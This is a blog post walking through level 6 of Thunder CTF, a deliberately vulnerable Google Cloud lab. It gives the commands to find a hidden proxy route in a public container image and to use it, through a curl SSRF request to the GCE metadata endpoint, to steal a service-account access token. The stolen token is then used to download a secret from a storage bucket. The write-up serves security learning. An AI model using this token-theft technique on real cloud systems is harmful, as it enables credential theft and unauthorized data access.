- Cloud Security Club
- Posts
- Solving Thunder-CTF: Level 06
Solving Thunder-CTF: Level 06
We have come to the final level in Thunder CTF. Here are links to my previous level writeups (just in case you haven’t checked it):
Starting Level 6:
python3 thunder.py create thunder/a6container
I am authenticating with the service account associated with this level.
gcloud auth activate-service-account --key-file=start/a6-access.json
Now, first, we will test the permissions of the a6-access.json, which is the corresponding key for the service account
python scripts/test-permissions.py start/a6-access.json
This service account has permissions related to the compute instance and storage.
Let’s list the storage objects:
gsutil ls gs://<bucket_name>
Finding the file containing the secret was easy. However, the catch is we can only list the objects but not download them (as the service account doesn’t have storage.buckets.get
permission).
Let’s see what we can find from the compute instances. Listing the instances shows the following:
gcloud compute instances list
Since we also have compute.instances.get permission, we can describe the compute instance.
gcloud compute instances describe a6-container-vm --zone=us-west1-b
This compute instance has a docker image added under the “gce-container-declaration” metadata section. So, it is just running the container.
When we searched for that particular image in the Docker Hub, we found it there. That means it is publicly available, and even we can pull that image and analyze it further.
We can pull the docker image in Cloudshell and analyze it further.
docker version
docker pull wuchangfeng/thunder-ctf-a6:latest
docker run -it --entrypoint=/bin/bash wuchangfeng/thunder-ctf-a6
Let’s navigate inside the container
ls
It has a Python application inside; we’ll analyze it.
cat app.py
This Python application has a suspiciously unusual URL route that returns the compute instance’s metadata URL.
If the same container is running on the compute instance, it must expose this endpoint. If it does, it will also respond with the access token of the instance’s service account.
Let’s try accessing the URL along with the public IP of the instance:
curl <external-ip-of-instance>/admin-proxy-aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Now that we have the compute instance’s access token, we will try to list the permissions related to it.
python scripts/test-permissions.py <access-token>
We can see that only storage.objects.get
permission is associated with this access token.
Finally, download the secret.txt
object in the storage bucket by passing the compute instance’s access token.
https://www.googleapis.com/storage/v1/b/<bucket-name>/o/secret.txt?alt=media
We got the secret value from the secret.txt
file.
This marks the end of Thunder-CTF’s level-6.
Reply